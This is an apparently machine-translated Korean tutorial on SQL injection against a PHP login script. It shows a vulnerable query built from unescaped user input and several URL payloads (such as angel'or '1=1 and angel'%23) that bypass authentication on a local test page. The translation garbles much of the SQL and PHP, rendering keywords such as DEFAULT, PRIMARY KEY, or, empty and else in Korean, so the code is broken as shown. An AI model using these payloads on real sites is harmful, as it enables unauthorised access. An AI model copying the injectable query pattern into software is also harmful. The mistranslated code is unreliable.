먼저 PHP에서 주입의 특수성과 원리를 이해하기 위해 예를 들어보겠습니다. 물론 이 예는 효과적인 SQL 문을 구성하는 방법을 배우는 방법도 알려줄 수 있습니다.
먼저 사용자 확인의 예를 들어보겠습니다. 다음과 같이 데이터베이스와 데이터 테이블을 생성하고 레코드를 삽입합니다.
PHP 코드:
CREATE TABLE `사용자`(
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL 기본값 '',
`password` varchar(20) NOT NULL 기본값 '',
기본 키(`userid`)
) 유형=MyISAM AUTO_INCREMENT=3;
#
# `user` 테이블의 데이터를 내보냅니다.
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
사용자 파일을 확인하는 코드는 다음과 같습니다.
PHP 코드:
<?php
$서버이름 = "로컬호스트";
$dbusername = "루트";
$dbpassword = "";
$dbname = "주입";
mysql_connect($servername,$dbusername,$dbpassword) 또는 die("데이터베이스 연결 실패");
$sql = "SELECT * FROM 사용자 WHERE 사용자 이름='$username' AND 비밀번호='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (빈($userinfo)){
echo "로그인 실패";
} 또 다른 {
echo "로그인 성공";
}
echo "<p>SQL 쿼리:$sql<p>";
?>
이때 우리는
http://127.0.0.1/injection/user.php?username=angel'or 1=1을
제출하고 다음을 반환합니다:
경고: mysql_fetch_array(): 제공된 인수는 유효한 MySQL 결과 리소스가 아닙니다. F :wwwinjectionuser.php 13번째 줄에 있습니다.
로그인 실패
SQL 쿼리:SELECT * FROM 사용자 WHERE 사용자 이름='angel' 또는 1=1' AND 비밀번호='
PHP 경고: mysql_fetch_array(): 제공된 인수는 13행의 F:wwwinjectionuser.php에 있는 유효한 MySQL 결과 리소스가 아닙니다.
알겠습니까? 작은따옴표가 닫힌 후에는 다음 작은따옴표가 주석 처리되지 않아 작은따옴표가 올바르게 쌍을 이루지 못하게 됩니다. 따라서 우리가 구성한 명령문은 Mysql이 올바르게 실행되도록 허용할 수 없으며 재구성되어야 함을 알 수 있습니다.
http://127.0.0.1/injection/user.php?username=angel'or '1=1
이때 "Login Success"가 표시되어 성공했음을 나타냅니다. 또는 제출:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
그러면 다음 명령문이 주석 처리됩니다! 우리가 제출한 첫 번째 문장은 ASP에서 매우 널리 사용된다고 할 수 있습니다. 두 번째와 세 번째 문장은 mysql의 특성을 기반으로 한 것이며, MySQL은 /*, # 두 가지 주석 형식을 지원하므로 제출할 때 다음 코드를 주석으로 처리합니다. 인코딩 문제로 인해 #을 제출한다는 점에 유의할 필요가 있습니다. IE 주소 표시줄은 비어 있으므로 주소 표시줄에 제출할 때 #이 되기 전에 %23을 제출해야 하며 이는 성공적으로 주석 처리됩니다. PHP가 더 간단하다는 것을 알 수 있습니다. ASP보다 강력하고 유연합니다.